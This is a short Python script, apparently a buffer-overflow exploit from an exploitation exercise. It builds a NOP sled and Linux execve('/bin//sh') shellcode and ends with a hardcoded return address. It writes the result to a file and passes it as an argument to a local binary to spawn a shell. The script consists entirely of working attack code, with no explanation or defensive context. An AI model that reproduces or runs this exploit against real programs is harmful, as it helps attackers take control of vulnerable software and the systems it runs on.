import os


offset = 3000 # ret - output start
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

nop_len = offset - len(shellcode)
payload = "\x90"*nop_len+shellcode+"\x01\xd3\xff\xff"
f = open("payload", "w+")
f.write(payload)
f.close()
os.execv("./binary", ("dictobuild", "-o", payload))
